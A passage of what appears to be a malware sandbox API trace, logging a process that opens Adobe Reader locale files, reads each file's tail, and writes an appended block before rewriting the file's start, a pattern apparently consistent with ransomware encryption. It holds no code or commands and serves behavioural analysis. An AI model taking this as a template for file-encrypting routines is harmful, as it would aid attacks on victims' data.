WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HUN", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.HUN", lpUsedDefaultChar=0x0) returned 12 [0036.195] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.198] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3000 [0036.198] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.199] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3000 [0036.199] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.199] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.199] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.199] CloseHandle (hObject=0x1b0) returned 1 [0036.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\BRdlang32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\brdlang32.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.200] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.201] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3400 [0036.201] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.201] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.201] ReleaseMutex (hMutex=0x128) returned 1 [0036.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ITA", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.ITA", lpUsedDefaultChar=0x0) returned 13 [0036.201] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.202] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2400 [0036.202] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.203] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2400 [0036.203] WriteFile (in: hFile=0x1b0, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.203] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.203] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.203] CloseHandle (hObject=0x1b0) returned 1 [0036.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\PPKLITE.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ppklite.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.207] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.207] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x82e00 [0036.207] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.207] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.207] ReleaseMutex (hMutex=0x128) returned 1 [0036.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ITA", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.ITA", lpUsedDefaultChar=0x0) returned 11 [0036.207] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.521] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.523] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x81e00 [0036.523] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.525] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x81e00 [0036.525] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.525] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.525] WriteFile (in: hFile=0x1b0, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0036.526] WriteFile (in: hFile=0x1b0, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.526] CloseHandle (hObject=0x1b0) returned 1 [0036.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\updater.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\updater.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.527] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.527] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2a00 [0036.527] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.527] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.527] ReleaseMutex (hMutex=0x128) returned 1 [0036.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ITA", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ITA", lpUsedDefaultChar=0x0) returned 11 [0036.527] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.529] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0036.529] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.530] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0036.530] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.530] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.530] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.530] CloseHandle (hObject=0x1b0) returned 1 [0036.530] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\eBook.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ebook.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.534] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.534] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1800 [0036.534] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.534] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.534] ReleaseMutex (hMutex=0x128) returned 1 [0036.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.JPN", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.JPN", lpUsedDefaultChar=0x0) returned 9 [0036.534] ReadFile (in: hFile=0x1b0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2b0f2bc*=0x1800, lpOverlapped=0x0) returned 1 [0036.536] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0036.536] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1d88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1d88, lpOverlapped=0x0) returned 1 [0036.537] CloseHandle (hObject=0x1b0) returned 1 [0036.537] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SaveAsRTF.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\saveasrtf.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.538] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.538] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3800 [0036.538] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.538] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.538] ReleaseMutex (hMutex=0x128) returned 1 [0036.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.JPN", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.JPN", lpUsedDefaultChar=0x0) returned 13 [0036.538] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.540] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2800 [0036.540] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.540] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2800 [0036.540] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.540] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.540] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.541] CloseHandle (hObject=0x1b0) returned 1 [0036.541] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\AdobeCollabSync.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\adobecollabsync.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.542] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.542] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1a00 [0036.542] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.542] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.542] ReleaseMutex (hMutex=0x128) returned 1 [0036.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.KOR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0036.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.KOR", cchWideChar=19, lpMultiByteStr=0x1e78b7c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.KOR", lpUsedDefaultChar=0x0) returned 19 [0036.542] ReadFile (in: hFile=0x1b0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2b0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0036.543] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0036.543] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0036.544] CloseHandle (hObject=0x1b0) returned 1 [0036.544] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Multimedia.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\multimedia.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.544] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.544] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xf000 [0036.544] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.544] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.544] ReleaseMutex (hMutex=0x128) returned 1 [0036.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.KOR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0036.544] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.KOR", cchWideChar=14, lpMultiByteStr=0x1e6310c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.KOR", lpUsedDefaultChar=0x0) returned 14 [0036.544] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.546] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xe000 [0036.546] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.548] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xe000 [0036.548] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.548] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.548] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.548] CloseHandle (hObject=0x1b0) returned 1 [0036.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.549] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.549] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe4 [0036.549] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.549] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 